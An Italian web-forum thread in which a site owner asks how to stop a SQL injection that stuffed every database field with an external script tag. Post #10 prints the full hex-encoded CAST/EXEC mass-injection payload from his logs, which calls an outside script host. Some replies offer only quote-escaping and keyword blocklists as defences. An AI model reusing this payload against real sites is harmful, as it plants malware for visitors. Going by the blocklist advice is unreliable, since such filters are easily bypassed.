Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 13
  1. #1

    attacco stranissimo di sql injection, come prevenirlo?

    Ciao a tutti,


    ho subito un attacco di sql injection, immagino... , praticamente qualcuno da uno dei form di un sito fatto da me ha eseguito una update su tutti i campi di tutte le tabelle del database inserendo la chiamata di uno script che si trova su un sito cinese.

    Praticamente tutti i miei utenti del mio sito aprendo la pagina iniziale senza accorgersi si scaricano un file js che secondo me è un troyan o qualcosa del genere.

    come dicevo in tutti i campi di tutte le tabelle dopo il valore che c'era precedentemente hanno inserito una cosa del genere:
    < s c r i p t src = h t t p :// www . sitoincriminato . com/b.js>< / s c r i p t >

    Ho risolto sostituendo in tutte le tabelle quella stringa con niente... e il sito funzionava... qualche ora dopo è tornato tutto come prima... sono stato vittima per la seconda volta dello stesso attacco

    Il problema è... come prevenire prossimi attacchi? come posso fare? avete qualche idea?

    Pablo Ramiro Gonzales Pereira Garcia, Perez Blanco Rodriguez, Gomes Gallardo Ramirez, Lopez Vera Rameira, Vega Rosario Lorca Martinez
    www.benents.it
    I video su youtube

  2. #2

  3. #3
    replace dell ' con '' su tutte le stringhe

    poi cstr, cdbl, cint su tutte le request

  4. #4
    Ma anche rimpiazzare le le quadre mettendole dentro altre quadre, da [ a [[] e da ] a []]
    Rimpiazzare il % con [%] e mettere tra quadre i termini come SELECT, UPDATE, DELETE, CREATE, etc...

  5. #5
    scusami domenix, per capire.

    Se si fanno solo le azioni che ho detto io (tralasciando quini le quadre [])
    come possono effettuare una sql injection ???

  6. #6
    Quelle sono solo alcune delle cose da fare.
    Ho fatto un corso in azienda sulla sicurezza delle applicazioni web ed in particolar modo sull'SQL Injection.

  7. #7
    ho capito....

    ma non riesco a comprendere dove stà la vulnerabilità se si tralasciano le replace sulle quadre.

  8. #8
    sicuri che sia sql injection? pare di più una code injection da parte di un virus sul server host...

  9. #9
    Moderatore di JavaScript L'avatar di br1
    Registrato dal
    Jul 1999
    Messaggi
    19,998
    Originariamente inviato da optime
    sicuri che sia sql injection? pare di più una code injection da parte di un virus sul server host...
    Oppure un rootkit ti ha fregato la password dell'FTP cambiala al piu' presto.
    Il guaio per i poveri computers e' che sono gli uomini a comandarli.

    Attenzione ai titoli delle discussioni: (ri)leggete il regolamento
    Consultate la discussione in rilievo: script / discussioni utili
    Usate la funzione di Ricerca del Forum

  10. #10
    Ora vi spiego quello che è successo... per gli amanti del giallo... perchè di giallo si tratta, infatti sono risalito agli hackers (vedendo i proprietari dei domini che hanno fatto l'attacco) e sembra che siano cinesi.

    Praticamente io nel mio sito ho la mia bella paginetta a cui gli passo un parametro:

    http://www.miosito.it/Miapagina.asp?mioparametro=valore

    loro hanno semplicemente accodato alla mia pagina l'esecuzione di una query che andava a fare una update su tutti i campi delle tabelle del mio database sql server.
    Sono risalito a ciò dai logs nel server del mio sito web.

    questa è la stringa dell'attacco:

    http://www.miosito.it/Miapagina.asp?...20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056415 24348415228323535292C40432056415243484152283235352 9204445434C415245205461626C655F437572736F722043555 2534F5220464F522053454C45435420612E6E616D652C622E6 E616D652046524F4D207379736F626A6563747320612C73797 3636F6C756D6E73206220574845524520612E69643D622E696 420414E4420612E78747970653D27752720414E442028622E7 8747970653D3939204F5220622E78747970653D3335204F522 0622E78747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F72204645544 348204E4558542046524F4D205461626C655F437572736F722 0494E544F2040542C4043205748494C4528404046455443485 F5354415455533D302920424547494E2045584543282755504 4415445205B272B40542B275D20534554205B272B40432B275 D3D525452494D28434F4E56455254285641524348415228343 03030292C5B272B40432B275D29292B27273C7363726970742 07372633D687474703A2F2F7777772E637274626F6E642E636 F6D2F6E67672E6A733E3C2F7363726970743E2727272920464 5544348204E4558542046524F4D205461626C655F437572736 F7220494E544F2040542C404320454E4420434C4F534520546 1626C655F437572736F72204445414C4C4F434154452054616 26C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@ S);--


    praticamente dopo il mio parametro mettono un punto e virgola e dichiarano una variabile @S alla quale gli assegnano una stringa crittata che viene poi trasformata in chiaro dalla funzione CAST(), poi alla fine esegue la query col comando EXEC(@S).
    Con quest'ultimo comando non fa altro che dire all'sql server di eseguire la query di update.

    capito che furbi????

    allora ho rimediato con una funzioncina che prende la query string della pagina e se trova uno dei comandi chiave (EXEC oppure CAST oppure DECLARE ecc...) blocca tutto e non esegue la pagina.

    Spero di essere stato utile.
    Pablo Ramiro Gonzales Pereira Garcia, Perez Blanco Rodriguez, Gomes Gallardo Ramirez, Lopez Vera Rameira, Vega Rosario Lorca Martinez
    www.benents.it
    I video su youtube

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2026 vBulletin Solutions, Inc. All rights reserved.